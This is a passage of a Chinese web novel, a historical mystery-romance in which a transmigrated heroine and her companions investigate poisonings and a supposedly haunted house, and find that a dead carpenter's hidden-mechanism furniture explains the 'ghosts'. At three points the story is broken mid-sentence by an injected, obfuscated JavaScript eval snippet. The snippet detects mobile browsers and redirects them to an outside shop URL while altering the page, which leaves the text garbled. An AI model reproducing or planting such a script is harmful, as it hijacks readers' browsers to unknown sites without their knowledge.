说着,二公子也没理一旁震惊的我,又丧丧的叹口气,“哎,真羡慕我哥啊,这事儿上就连太后都允准。我可就惨了,明年科举中不中,都得封爵定亲了……羽书妹妹,你听见我说话了没?” 我从巨大信息砸出的坑中爬出,迟缓的问:“你刚说你哥……什么叫太后都允准?” 二公子撇撇嘴,极为不满:“哥哥哥,你就知道问他!你管他呢!羽书妹妹,你这次回来好奇怪啊,以前都是咱们两个玩,你和我哥根本不熟好吗?” 不熟,不熟。 是啊,小时候的谢宁轩和原主,交集并不多。那这些日子以来,谢宁轩同我的交往,对我的关注,都与儿时玩伴的熟捻无关,是不是?这具皮囊之下,他看到的,一直都是我的灵魂,对吗?在他面前,我不用做鸠占鹊巢的王羽书,而是我自己,对吗? “你现在怎么整天跟在他屁股后面?都成他的小跟班了!”二公子还在抱怨,见我不语更是一拍桌子,“喂,王羽书,我跟你说话呢!” “啊哦!没、没有吧。”我有点慌,既怕心思被戳破,又怕身份遭疑,只得将问题抛诸脑后,先专注在他身上。 “我、我怎么不关心你了?我这不是就要关心你呢嘛!呵呵,说起来,身份尊贵如您,不知将来娶的,得是怎么样优秀的女儿家呀?” “哼,那肯定得国公辅臣之女,否则哪配得上我。”二公子得意的扬一扬下巴,复又睨来,“你问这个干嘛?怎么?你想嫁给我啊?” 现在喷茶的怕是要换成我了。 “呵呵呵呵,不敢不敢,配不上,配不上。” 二公子打量打量我,露出一丝嫌弃。“女红绣花不会,乐器舞蹈不通,你说说你在我们王府胡天胡地,怎么到了金华也不学习学习闺中活计?羽书妹妹,你这样,以后谁敢娶你呀!” 这就不劳你操心了。但他既然这样说,应该是对我,哦,不不,应该是对原主没有旁的意思了吧? 谁知,二公子话并没有说完。 他忽地俯身趴在桌上,凑近眨眼,带着丝丝试探:“不过羽书妹妹你,嗯,你要是哭着喊着要嫁我,我也可以勉强收留你啦,给你个侧妃当当,怎么样?够不够义气!” 侧妃?义气? 一股怒气登时自丹田涌出,也不管他是不是玩笑,我直接冷脸斥道:“别,您老收回您那好意。本人没有肚量,此生绝不为妾。莫要再提,否则朋友也没得做。” 说罢,我一拍桌子站起身,坐到了远处的等候区,再没有看他一眼。 *** 一盏茶的沉默后,医馆内堂传来动静,学徒奔出至药柜上取药,递进去之后又退了出来。不知怎得,瞧我们的表情还有些扭捏。 二公子心情正差,直接不耐烦的问:“瞧什么瞧?有话就说!” 那学徒咬了咬嘴唇,慢慢靠近赔笑道:“官爷,官爷,小的、小的就是想问一下,这个病人,嗯,他从那鬼宅抬出来,不会沾了什么脏东西吧?” “什么脏东西,你胡说什么!”二公子烦躁之余也忘了害怕,没好气回怼。 我却将思路已调整到正途,不和他一般见识。我朝学徒摆摆手:“不会,不会的,别担心哈。” 学徒还是不太放心:“那宅子,哎呦,自从那姓朱的一家搬进去,什么蹊跷的事都发生了,可真是大大的不吉利。官爷们能不能通融通融,别让这人在我们医馆养病,一会儿醒来,让他走吧!” 二公子冷笑:“先救醒再说吧!这么长时间了,你师傅水平行不行?” 但我捕捉到个词汇,不由奇怪的追问:“咦,小哥,什么叫搬进去之后发生啊?那离奇的鹦鹉袭击事件不是发生在前任主人身上吗?那是朱家搬入之前啊?” 学徒眼露惊惧,猛缩脖子:“不敢说,不敢说,呀,晦气,晦气呀!” 二公子嫌恶一哂:“什么晦气不晦气,看你那胆小的样子!” 呵,你还好意思笑话别人。 学徒咽口口水:“哎呦,这事真的离奇嘛!那傅师傅在我们上阳街住了五六年呢,太太平平的,偏偏他朱家要搬来前,就出了这么一档子事!那鬼鸟也是在之后学的更加吓人了,依小的看呀,是姓朱的一家克死了傅纪呦!” 得,这又衍生出相生相克一说了。 我无奈的摇摇头,又问:“傅纪?前任主人,那个木匠叫傅纪?他是不是也搞过什么祭祀仪式,追求偏财一类的?” 学徒手摆的飞快:“哪能啊!傅师傅可是老实人!” “老实人?老实人能被鹦鹉索命?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这么听起来,当时鹦鹉袭击一事是很突然的,没有先兆? 我很想直接问,但最后还是隐晦了些:“傅纪住的那几年,就什么离奇事儿都没发生?” 学徒摇头。 二公子听进去了我们的对话,兴致渐渐取代了不悦,他再次直白地问:“可那鹦鹉不就是他的吗?难道他在世的时候,鹦鹉没半夜鬼叫?” 学徒咬牙,但见二公子穿着奢华态度凌人,到底还是憋下怒气,回答道:“那鸟的确是傅师傅一手养大的,可他在世的时候,鹦鹉顶多半夜叫唤两声,哪有叫过鬼啊!虽然他也模糊说过,那鸟习性有些不一样,但可没像现在这样诡异!” 二公子露出不可思议的表情,喃喃自语:“这鹦鹉不是谛听投世、五鬼使者吗?” 学徒颤了颤脸,没敢接话。 但此刻,我已更加确定。即便这鹦鹉学习能力强到变态,且袭击人与半夜鬼叫的行径还是个迷,可它一定就是只鸟,和玄学、神神鬼鬼,都没有关系。 我低头思索片刻,又问道:“朱家闹鬼,不仅是鹦鹉诡异,听说夜晚也时有鬼影鬼火。这些,傅纪居住的时候,也都没有吗?” 学徒再次摇头。 看来当时这真的是个普通院子。 二公子提出一点:“傅妻两年前回乡,这么说,她不是京城的人?那她和老朱一家,会不会以前认识,是同乡?” 学徒摇头:“不不,不是,口音差远了。” 二公子塌下眉毛:“好吧。唔,对了,傅纪葬哪了呀,遗骨被妻子带走了?” “那没有。是葬在他常去的女儿山了,他们夭折的儿子也葬在那里。哎,说来唏嘘啊,他出事前一天,还去女儿山挑选木材了呢。回来后便埋头木工活,除了去几个屋子取材料,便将自己关在屋里,连每天检验徒弟习作都没去。忙了一宿,不吃不喝地,谁知第二天出了屋子,倒地就死了。” “啊?死的这么突然?”我正诧异,郎中擦着手走了出来,神情很是肃穆。 我心里一跳,以为是坏消息传来,谁知,郎中却并非为此脸色难看。他在意的是—— “这胖子是干什么的?为什么,”郎中顿了一下,环顾一圈,确定四下没有旁人后,才道,“为什么和当年傅纪中的毒一样?” 66.中毒而死 医馆中所有人都惊了。 学徒第一个跳起来:“师傅!你不是说这是秘密,绝不能外传吗?” 浮生跟着郎中走出来,闻言惊愕挑眉:“什么?傅纪也是毒死的?” 毒死?不是鹦鹉袭击! 我稳住心神,追问道:“大夫,烦请详说,傅纪的死因到底是什么?” 郎中伸手捻了捻胡须,咬牙使得腮帮子鼓了出来。半晌,似乎下定了决心,他开口道:“哎,老朽本来打算将这秘密带入棺材中,毕竟这对傅师傅……”停顿了一下,他才继续,“其实两年前他死的时候,是老朽去接诊的。” “接诊?他不是被鹦鹉咬死的吗?”二公子奇了。 “哪呀,鹦鹉咬他,那是事后发生的。” 我们几人又是一震。果然与朱承林遭遇一致! “他当时是刚做完木工活,从屋子里走出来,直直就倒下了。他妻子和徒弟都在院子里,马上就来请老朽了,可过去一瞧,已经没了气息。” 来回短短路程,这么快毒发身亡了?诶,不对啊,胖子晕倒,前前后后恐怕耽搁时间更长,怎么他没有生命危险? “大抵是胖子中毒浅的原因。” 我有些怀疑:“您确定两人中的是一种毒吗?什么毒啊?” “什么毒,老朽也分辨不出,似乎不是单单一种。”郎中顿了顿,“但二人确实症状一样。傅纪那时皮肤溃烂、肌肉僵硬,而这人身上也出现了类似的症状,只是轻一些,观之不太明显。其实内里气息……” 郎中的话被无情打断,二公子惊恐的退后两步,对着我骇然叫道:“啊、啊!这、这、这……钱掌柜!” 我心头剧烈震动,但马上就意识到他说的没错—— “皮肤溃烂、肌肉僵硬”,这句话,分明是茶庄小二对钱掌柜之死的形容词啊! 天哪,钱掌柜,远在北门珠宝店的钱掌柜,怎么会和傅纪是同一死法——毒死!这二人有什么关系?但不对啊,傅纪死后还遭到了鹦鹉啃食,可钱掌柜没有啊。 啊,还有胖子,他中的也是同一种毒! 二公子还在惊叫:“天哪,见、见过鹦鹉的人,都、都死了!真的都死了!” 这话把医馆中人吓得不轻,浮生和韩桂连连追问钱掌柜的信息。 但惶恐过后,我还是摇了摇头。 现在的确死伤四人,可两个主人一个中毒一个窒息。三个中毒的,钱掌柜明明只和鹦鹉有一面之缘,若说交集,还是胖子深一些,为什么胖子中毒轻,钱掌柜却毒死了?这完全没有逻辑、没有规律可循啊。 “要什么规律!就是鹦鹉索命来了!”二公子吓坏了,也不顾刚才被我硬怼的不爽了,冲过来就揪我的袖子,惊骇地问,“羽书妹妹,你我会不会也有危险!天哪,咱们也见过那鹦鹉啊!” 不,不是的。 纵然脑后有森森凉意,我还是笃定,他们四人,一定还有我们没查到的关系,这其中,一定有什么隐情,尚未获悉。 只是,从现在这个节点来看,太孤立了。线索、疑点、这几个人,都太孤立了。完全让人摸不着头脑。 一天的查访结束了,线索收获不多,军心,倒是彻底溃败了。以至于我回到京城府衙时,都没脸如实禀告。 不过令我没想到的是,谢宁轩并非完全抽身事外。朱承林在七月五日晚的去向,竟然和他有关。 “是你下令的?” “不错。”谢宁轩颔首,“近来京城治安整顿,为了速查可疑人员,五日午时,我下令全城的风月场所停业检查一日。” 停业……啊,那我就明白了。 朱承林五日子时三刻离开自己铺子,前往青楼。但次日凌晨,他却死在了家中。这并不是什么小鬼运人、使者索命,这分明就是他消遣未果,自行回家了啊。 从胖子的描述中可知,青楼暂停营业的消息并未传到他们耳朵。也就是说,朱承林的确去了青楼,但不管到了哪家门口,都进不去。 而铺子也已经关门,朱承林唯有回家。 这倒是解释了他的行为路径,可问题是,朱家当夜院门紧闭,朱承林怎么进去的? “如果朱家有人说谎呢?”谢宁轩目光凿凿,“羽书,你不觉得吗?这桩案子包裹在神鬼莫测的重重阴影下,你查案的节奏和步骤都乱了,且忽略了很多细节吗?” 我心神一动,不得不承认,谢宁轩说的很对。饶是不断告诫自己要相信科学,今天各种骇人听闻的故事,还是影响了我的判断。 昏黄烛光下,谢宁轩的眼眸很亮很闪。他走近,轻轻握住了我的手,柔声道:“羽书,别气馁。咱们来梳理一下,将鹦鹉、谛听、五鬼运财这些光怪陆离、玄之又玄的故事都扔一旁。那么,案件本身应该是什么样?” 我深吸口气,沉下心来。 从最开始说起,如果没有鹦鹉学舌带来的危言耸听,那么,朱承林就是被人谋杀,窒息而亡。他的案子疑点在于如何归家、杀人动机、凶手如何逃脱等。 紧接着,是胖子的中毒。他的毒发与傅纪、钱掌柜相同,可三人明明并无交集。那么,重点应该是核查三个人的联系与共同点,以及到底是什么毒。 如果没有鹦鹉,朱承林的死,与这三人还有关系吗?不同的死亡方式,会是同一凶手吗?难道,朱承林之死,是单独的、毫无相关的案子?可是朱承林、胖子、钱掌柜相继丧命,也未免太巧合了吧?且这三件是发生在当下的案件,傅纪却死于两年前,这又是怎么回事? 好像在整理乱糟糟的毛线团,明明大团大团的线索就在眼前,可我就是找不到线头。 谢宁轩松开了手,抱臂立在一旁,轻叩手臂数下,亦陷入了沉思。 明明应该专心查案,余光扫到他的身影,耳旁却不期响起郡主的话,心头盈盈泛起波澜。 “羽书,你注意到了吗?在这里还有个……嗯,怎么了?”谢宁轩扭头问话,正对上我恍惚的眼神。 心思被戳破,我有些慌。 “累了吗?查一天案子,辛苦你了。” “没有,不累。”我垂垂眼睫,还是忍不住问,“那个,你背上的伤,好些了吗?” “好多了。”谢宁轩走近两步,眼神幽深,“只是砸一下而已,不碍的。” 一块结实横梁木,那么高的地方砸下,怎么会没事? “羽书,我没事。别为我担心。但是你的额头,疤痕还未褪去……羽书,对不起。” 手背再次被热度笼罩,他站的离我好近。心跳剧烈,我都能听见小鹿在奔跑的声音。 我很慌乱,却又不想让他自责,只得抬头看他:“不,这怎么能是你的错,你已经冲进来救我了。” 声如细蚊,我不敢再说下去。 当日被救出晴瑟楼后,郡主调侃了一句话,在我心头荡漾许久—— “宁轩哥也受伤了呢!他可是一向冷静自持,稳如泰山。和哥哥配合行动那么多次,哪次不是在外指挥?运筹帷幄才是他的强项嘛。这次怎么不管不顾自己冲进去了?还不是里面有人,实在让他牵挂的紧呐。” 耳旁的回音让我越发紧张,更不敢去看谢宁轩饶有兴致、柔柔谆谆的目光。 我怕我猜错了,但若是猜得没错,我也有些惶恐。一个人孤单太久,我实在不知道该怎么从善如流的迈入爱河。 “羽书,我只是不愿你受伤。但我还是要谢谢你,谢谢你替我分担,也谢谢你……心疼我。” 他离我太近,深邃又明亮的眸中,映出了我的倒影。明明站在屋子中央,却好似被逼到墙角,空间越发逼仄,我都能感觉到他的呼吸。 气温陡升。 我侧侧头,安静的屋子里,髻上步摇垂下的声音,都清晰可闻。 不知道是不是近来受到了惊吓,我二人光影变化被投射在地上,就令我无端端想到了那夜被女鬼惊吓的恐惧。 谢宁轩就在我身边,我安心许多。脑子缓滞,我莫名意识到,“女鬼”这个词,我好像还在哪里听到过,似乎不只是在我家,不只是在又书口中。 “羽书,其实我……我想说,嗯,”谢宁轩踟蹰着,喉结滚动,“我希望我能照顾……” 然而,非常不合适宜的,脑中飘荡着的线头突然飞入了我的手中,我一下子就想通了困扰着的谜团。豁然开朗之际,我忍不住激动高叫,直接打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“不错,此人确实是个关键点。但是,”谢宁轩沉吟道,“胖子却与雷姓男子无关。” 我登时熄了火。 对啊,胖子和他们,没关系啊。胖子只是朱承林商铺的邻居,与鹦鹉见过数面而已,与傅纪根本不相识,也没买过钱氏珠宝铺的商品,那他……等等,珠宝? 一瞬间,我猛然忆起了一处细节。 对啊,“女鬼”这个词,我就是在钱掌柜的棺木前听到的啊。当时有个价值昂贵、耀目美极的红玉头面,胖子神叨叨的说,钱掌柜是被红玉头面内的女鬼吸了魂。 谢宁轩锁眉:“等一下,女鬼?怎么又多了个传闻?这个案子怎么全和这些有关?” 犹如有人给了我一拳,这句话冲击太大,我的思路一下子清晰起来。 对啊,这案子怎么都是神神鬼鬼的? 如果真有索命一说,真是鬼神作祟,死者就不会窒息、中毒了。那这些惊世骇俗的传闻,显然是刻意掩盖真相的啊! 而且,而且……胖子! 我猛然的意识到,这些传闻,全部是胖子说的。鹦鹉谛听、五鬼运财、阴宅偏财,是胖子告诉我们的。钱掌柜的红玉头面,也是胖子说它如美人□□。 天哪,胖子是故意的?胖子有问题? 等等,不对,胖子也中毒了啊。而且今天就我观察,他的恐惧与迷信,不像是假的啊? “这个胖子,的确有点意思。”谢宁轩思考着说,“他与其他三人关系都不深,游离在故事之外,但却又起到了串一起的作用。难道他才是主导的人?” 不,不对。 胖子的出现是预料外的。 “怎么讲?” “今天胖子听说朱承林出事来一探究竟,可以看作是他故意介入。但钱掌柜的情况,是我和二公子一时兴起去退鹦鹉,又听了茶庄小二的话跑去珠宝铺才知道的。我和二公子的行动绝不可能被事先预料。那日他若不是看我萎靡不振,有意想带我出去转转,或许我们就一笑了之,将鹦鹉放生,或干脆狠心杀了。胖子即便是刻意守在茶庄,也会白费心机。” “也许,他等的不是你们呢?” 我眯了眯眼:“莫非你觉得他在等鹦鹉?这也不太可能。茶庄小二以前没见过那鹦鹉,鹦鹉缘何会自己飞去茶庄?当日鹦鹉对胖子,也没有表现出任何不同的情绪。若说他事先对鹦鹉训练,似乎也讲不通。” 谢宁轩也赞同我的说法,点点头道:“不过胖子此人,他的出现,他讲的故事,包括中毒未死,这些都太耐人寻味。羽书,这样吧,明日起,对胖子进行深入调查吧。” 67.当世鲁班 谢宁轩虽只点名了胖子,但实际上,他安排的调查是全方位的。钱氏珠宝铺、北门茶坊,都有衙差前往查访。甚至还让人找茶庄小二画了雷姓男子的画像在城中查问。 朱承林家,自然也不能疏漏。被神鬼论吓得胆战心惊的浮生和韩桂没能取得上司的共情,反而被狠批了一通,责令今天务必将朱家所有人盘问完毕,严查案发现场。 但收获甚微。 胖子在开文米铺旁开了家成衣铺子,经营范围完全不搭嘎。二人平时常一起吃吃喝喝,也曾相约逛青楼喝花酒,关系融洽但不够亲密,且未曾听闻有过矛盾冲突。 胖子与傅纪、钱掌柜、雷姓男子,在调查中,也确实没发现任何交集。 钱掌柜经营本分,北门茶坊开了多年,小二一直供职。这些也都没发现疑点。 我怕浮生和韩桂怵得慌影响调查,今天便还是来到了朱承林家,带头进了阴祭台翻查。 其实,所谓的阴祭台,就是坐北朝南的一处屋子,常年见不到太阳,阴冷了些。但进来的确瘆得慌。 推门扑面而来浓郁的臭味,屋内处处透着腐败气息。正中摆着一张圆形的半人高的石台,上面密密麻麻满是刻字,看起来是祭台。 祭台上下,包括周围地面,到处丢着深色的、奇怪的、软乎乎的东西,地面还有蛆在爬。而整间屋子所有窗户都被钉死,从天花板到墙面、窗户,全部粘满了黄色符咒。 朱承林的尸体已经被抬走,但地面血迹清晰可见。他是死在门与祭台中间的位置,头朝门,仰躺着。 直觉告诉我,这个现场有些不对劲。 但这气味冲的我天灵盖都冒火了,实在恶心的厉害。二公子更是压根没踏进来。浮生一边干呕一边草草翻查着,没坚持一炷香时间,就跑了出来:“这里,这里没啥东西啊!” 这不行,检查太草率了。我索性请他安排人将窗户上的符咒都撕掉,让阳光透入,加上气味得以疏散后,衙差这才再次入内检查。但除了恶心和阴森,也没有找到有用线索。 朱家妻妾处,也没问出什么。她们内部争风吃醋,见面不是指桑骂槐就是阴阳怪气,这两日没少在我们面前撕扯起来。可说来说去,提供的线索都只与风月有关。除此外,家中无其他欲对主子不轨之人。 朱承林也没有固定去的青楼,所谓的解语花,三天两头换新的。生意上,算不上童叟无欺,但也没有结仇的。 所以一天下来,失望、气馁、疲惫,全都涌了上来。 二公子最近放假,今日背着哥哥又偷偷来了,毫无建树还累的要死,自然是抱怨不停。 “这一天天的,从军都没咱俩累!这叫什么事!早知道今天就是四处碰壁,我就不来了!” “那你倒是回去啊。” “你……”二公子瞪我一眼,“我还不是怕你害怕,好心来陪你!” “我害怕?咱俩相比,到底谁才是怕的那个?” “你……”二公子又语塞,气呼呼的白我一眼,自顾自就朝对面的医馆走。但没走两步,他又停住,不情不愿的扭了身子,朝我飞快地瞥来一眼。 这又是唱哪出? 在我诧异间,他突然话锋一转,僵硬地说:“那个,昨天我只是开个玩笑……我、我可没有想娶你的意思,你、你少自作多情。” 我盯着他的眉眼,很想知道他是不是在逞强。 但他既然闪躲,也是一种答案,我又何必咄咄逼人?故此,我便也淡然一笑:“行,知道啦,误会解开就好。其实,你能暂缓封爵而一心科举,说明也是存了鸿鹄之志,不被儿女情长所累,也是当下要紧的。” 二公子倏地抬头,目光怔怔瞧来。他旋即自嘲的弯了嘴角:“暂缓,不也是你支持的吗?我还以为你……” “我支持?”我懵了。 “你不是在信中说,我若下定了决心一举登科,就坚持去做吗?正是受了你的鼓励,我才进宫讨了恩典。”他顿了顿,语气都变轻了,“你还说,等回京后,把金华攒下的宝贝,都拿给我瞧。可惜……” 他苦涩地笑了笑,塌着双肩,“你什么也不记得了。” 我愣在当下,准确说,是惊愕与遗憾,让我一时间不知所措。 惊愕,自是因为原主什么记忆都没有留给我,包括情感的偏向。我甚至不知道八年离京,她竟和儿时好友还有频繁的书信往来。 那她,她对二公子,难道也是有情的? 遗憾,则因,人面不知何处去,桃花依旧笑春风。 原主,早就在不知怎样的谋划中,死在了冰凉的河水中。她的情与爱,她的愿望与期待,或许再也没有浮出水面的一天。 *** 朱家对面的医馆还是没什么生意,学徒在门口擦椅子,也懒懒散散的。听到脚步声,他期冀的抬头,却在看清来人后,化作了失望与无奈。 “没醒,没醒呢。刚衙差不是来问了吗?师傅也不在,接诊去了。” “昨天不是说没有危险了吗?为什么还不醒?” 学徒耸耸肩:“因为不清楚到底什么毒,无法对症下药呗。只能以清热解毒的汤药服下,等他自己排出体内才能醒。” “那还需要多久?” “不好说。” 二公子露出不悦表情,嘀嘀咕咕:“这郎中水平行不行啊。” 学徒耳朵尖,一听更不乐意了:“我师傅水平怎么不行了?这是多种毒素混合,很难查清!再说了……”他突然拔高的语气却乍然一顿,随后扁了扁嘴没有再说。 我看着生奇,想要追问。但学徒已经走回到柜台后了,拉出一个抽屉后,一屁股坐了上去。 “咦,你怎么坐抽屉里?”二公子跟着走了过来,没来由地问。 学徒脸部抽抽,明显咽下了“关你屁事”四个字,只暴躁的回复:“什么抽屉,这是个凳子!” “凳子?”我也诧异了,刚明明拉开的是抽屉啊。 学徒看我俩瞪着他,不情不愿的站起来,又演示了一遍。这次我看清了,原来是看似抽屉,实则拉开后,两旁的木板可以翻开垂下立在地上,那抽屉就成了个凳子。 “嘿!这凳子有点意思!”二公子眼睛一亮,像是找到了新的玩具。他不管不顾径直进了柜台后面,“叫我看看。” 学徒敢怒不敢言,站在一旁气鼓鼓。 我瞪一眼二公子。干啥呢干啥呢,查案呢还是找乐子呢? “呵呵,那个,小哥啊,”我只得挤出笑容,没话找话化解尴尬,“你昨天说你们医馆很多家具都是傅纪打的,这也是吗?” “嗯。” “这设计很巧妙啊!” 听我夸赞傅纪,小哥情绪才好了点。“傅师傅做的很多家具,都有这些巧思啊,这有什么稀奇的。” “还有哪些啊?”二公子好奇。 许是我俩实在表现的很没见识,像进城赶集的土老帽,学徒这才收敛起怒意,有意显摆起来。 他先是走到窗户前,伸手拉回关上,只见门闩受到力量震动,竟自动落下,登时,窗户就闩紧了。又来到角落一张四方桌,将它抬起立在墙边,那桌子腿上有个榫,拿下后四条腿都轻轻松松的折叠起来了。 我和二公子震惊的模样令学徒很满意,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13667122|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又回到药柜前,从一面雕着花的木板前轻敲几下,头顶“砰”的冲出一个抽屉来。 “这些不过是傅师傅最基本的手艺。他呀,做好的木马能自己走,那梳妆台能藏七八个暗格,我们铺子后门一推就变了位置,可巧了呢。”学徒收回指向后门的手,表情自得,“不仅如此,还很耐用。就说这个柜台吧,还是他刚搬来那年做的,你们摸摸,这抽屉,这柜门,是不是依旧严丝合缝?打开关闭顺滑的呦,一点不扎手。” 二公子稀奇的摸了又摸,念念有词:“不错,不错,真不错。早知道请他为我们王……为我家造家具了,我一直想给我那书柜打造个暗格来着。嗨,这等本事的手艺人,怎么莫名其妙就死了呢,真可惜啊。” 这话令学徒对二公子观感好了些,他亦感慨道:“谁说不是呢!傅师傅两口和朱家人可不一样,这朱家搬来两年,和我们街坊都不怎么打交道。” 我挑挑眉:“朱家,朱承林和妻妾,都不太与街坊来往?” “是啊,两年了,说过不超十句话吧。嘿,”学徒露出不屑,“不就是生意做的兴旺么,还不知道用了什么阴诡手段,倒瞧不起我们穷人了。那倒是搬走呀!说起来就生气,就在他失踪前几日,有一晚我刚刚关了后门走到巷子口,那姓朱的骑马超过我,莫名盯着我看。我好心和他挥挥手,人家理都没理就走了!你们说说看!” 听起来,朱家在街坊中,口碑可不咋地。相较之下,傅纪评价就高多了。 “嗨,倒也不能说傅师傅热情。他们两口子吧,都是寡言少语的人。可他对邻里邻居的,多善心呀。这些家具,可都只收了木材钱。” 二公子听的嘘唏,又问:“那他那些徒弟,就没有谁继续干木匠,干出点名堂?” 学徒遗憾的摇摇头:“没有哇。徒弟都是他搬来之后才招的,他自己失了儿子,也想找人承继香火和衣钵,所以选的都是小孩子,想着慢慢教么,却没想到……最大的一个十五六岁,木匠活倒是也做得出,可比起师傅,那差远了。所以那徒弟,也就没干这一行了。” 都还是小孩子啊,那就应该和才搬来的朱承林,也没什么交集了。 二公子见状问:“傅纪搬来的时候,就带着鹦鹉吗?” 许是今天聊的热火,学徒皱了皱眉,但还是回答了:“嗯,当时就带着,也挺宝贝的,养在正房里。他呀,还怕那些徒弟年纪小下手没轻没重伤了鹦鹉,平时都不允许徒弟去他的房间,接触鹦鹉呢。” “这么宠爱呀,那这鹦鹉怎么忘恩负义,对主子做出那种事?”二公子诧异挑眉。 我看学徒此刻心情不错,也忍不住了,小声追问道:“当时到底是怎样的啊?他中毒故去后,鹦鹉立即就啃食尸体了?” 学徒缩了缩脖子:“哎,那也不是。其实、其实是停灵期间发生的事。” 青朝习俗停灵七日,第三日晚会再次开馆,称为“开光”,其实是预防假死。 “就是开光那时!傅妻想给傅师傅再擦擦脸,不过是出去拿个帕子的时间,回来就看见、就看见……”学徒哆嗦了一下,“它不知怎么打开的笼子,正在啃食傅师傅的脸和脖子……傅妻当场就吓晕了。” 二公子也快吓晕了,不自觉攀住了我的袖子:“天、天哪!那、那然后呢?” “外面的徒弟听见动静冲进来一看,都、都害怕呀!它在傅师傅死了之后不吃不喝,本以为它是忠鸟通人性呢,谁知道它……”学徒也煞白张脸,舔舔嘴唇,“大家就赶那鸟,可它、它不走啊!” “伙计!”骇人氛围中,忽然有人进门喊了声,二公子嗷一嗓子,径直抱住了我。 68.题眼 我也被吓得够呛,看清一脸茫然朝里探头探脑的路人后,才塌下肩膀。 “行了行了,是人,是人!好了,别怕了,松开我吧!” 二公子颤颤巍巍抬起半张脸,小心觑了眼人家,才长舒口气。 我被他勒的腰生疼,没好气道:“您老能松开我了不?” 二公子定睛一瞧,下一秒,蹦出两米远。一张俊脸涨成绛红色,两手攥得紧紧。 “啊、啊,羽书妹妹,我、我……”他虽然害羞,可路人和学徒都似笑非笑的看着他,尴尬转成了恼火,他逞强道,“那个,我、我这是担心你太害怕,我、我保护你来着!” 我挑挑眉,懒得戳穿他。 “你们、你们看什么看?”他又朝路人凶了一句。避开眼神,也不敢看我。 学徒得罪不起,忙扭头专心业务:“呵,客官啊,您要点什么?哪里不舒服?” 来人也没继续看戏,而是揉肩诉苦曰:“这两天扛大包,肩啊、腰啊,都不自在。有药贴吗,来几幅。” 学徒麻利的拉出身后一抽屉,掏出药贴:“呐,这几幅刚好对症,拿去用。” 来人接过药贴,一边低头看,一边将钱递出。 接下来的一幕,在日后回忆中,我将它称为本案“题眼”。若非目睹学徒只伸手在桌面划了一下,下方就弹出个装钱的小抽屉,我恐怕还想不通这案子的玄机。 对,没错,这又是一个暗格。 当然,傅师傅的手艺已经证明了,他的确是中国古代传统木工活的杰出代表。技艺高超,化腐朽为神奇,怪不得被称为“当世鲁班”。 但令我在层层迷雾中抓住那道光的,就是这寻常一幕。 因为就这一瞬间,耳边忽然回想起两句话,当时我没留意的话—— “因此啊,老朱连人家的家具一个都没换,为的就是极阴之地,带来财运。” “他家里家具都是自己做的嘞。” 朱承林家,用的一直都是傅纪亲自打的家具。 我扫视着这间不大的医馆,看它的桌椅板凳,柜子案台,直到目光停在后门上。门框、门板、门闩,好熟悉,我分明在朱家也见过。 模模糊糊的回忆在慢慢清晰,我起了个念头,一个能解释“鬼影”“鬼火”的念头。 *** 我飞奔回朱家,正撞上焦头烂额往外走的浮生。 “浮生,快、快,再组织一遍搜查。这次,不止是阴祭台,而是整个朱家!” 浮生都懵了:“啊?为什么?” “羽书妹妹,你怎么跑这么快!哎呦,哎呦!干什么呀这是?今天不是都结束了吗?” 我顾不得二公子的埋怨,也无心详细解释,只先交代重点:“快,派人去请医馆学徒来,再找两三个家中还用着傅纪制作家具的街坊,请他们按照自家家具那些巧妙的设计,找找朱家家具的机关!” 朱承林搬入新家,但用的还是上任主人的家具,那全是巧思、全是机关的家具。那么,会不会有人知情,并浑水摸鱼? 浮生虽然疑问,却没耽搁,当即吩咐下属干活。 可朱家妻妾,又开始跳脚了。 “凭什么!来我们家翻什么?” “索命啊,这是索命?你们官府到底要干什么?” “还不是你让报案惹得麻烦,将来出了事算你的!” “翻来翻去,东西丢了算谁的?” “好了!好了!”韩桂崩溃大吼,“我们这就是捉鬼,捉鬼懂吗!” 朱家妻妾却不领情,仍旧不服气的吵闹。 “捉什么鬼啊,别无端端给我们招来灾祸!” “我们都说了不报案了,你们听不懂吗?” “你还是夫人呢,你说话人家怎么不听啊!” “翻来翻去,东西丢了算谁的?” 二公子被烦的直摇头,一面念叨:“啧啧,女人啊,真难缠。” 我飞过去个眼刀,寒声道:“你不还打算纳妾呢吗?呐,女人多就这样,好玩不?” 红色一秒褪尽,二公子直接石化,如一个抽去生命线的木偶,只呆呆瞪着我。 等到安抚完朱家妻妾,天都黑了。不过随着正事开始,这些不情不愿撅着嘴的姑娘们,很快便瞪眼张嘴,表情管理统统失败。 显然,不与邻里往来的她们,也从来没认真摸过这些家具,根本不知道一个个看起来平平无奇的桌椅板凳,竟然是那么的精妙。 先是医馆学徒在游廊指出,顶端设有的一列较宽木排里,暗藏着机关。韩桂半信半疑的上前操作,用硬物戳一下两旁的凸起,木排依次掉落,竟将游廊刚刚好的遮挡起来。犹如百叶窗竖着放,可以用来隔雨隔风。 随后在门房里发现了个不起眼的木头凳子,将其中一根木头拔出,凳子立即折合成一块平板。 进到主屋,书桌柜子也有着各种各样的小暗格,有的也就能放下几只毛笔簪子,有的能放下书卷文录,有的则狭长,似乎是用来藏书画的。 又有邻居提出,看似沉重的朱家大门,其实修理或者更换,根本不需要大开大合出大力。其顶上有机关,按一处小小的凸起,连接木门与门框之间的榫头就自动顶了上来,接下来轻轻一掰,便可将榫头与榫槽分开,如此几下,沉重的木门马上就能轻易卸了下来。 韩桂惊呆了,浮生反应很快,倒退两步,连声道:“这、这就可以不开门闩而入啊!” 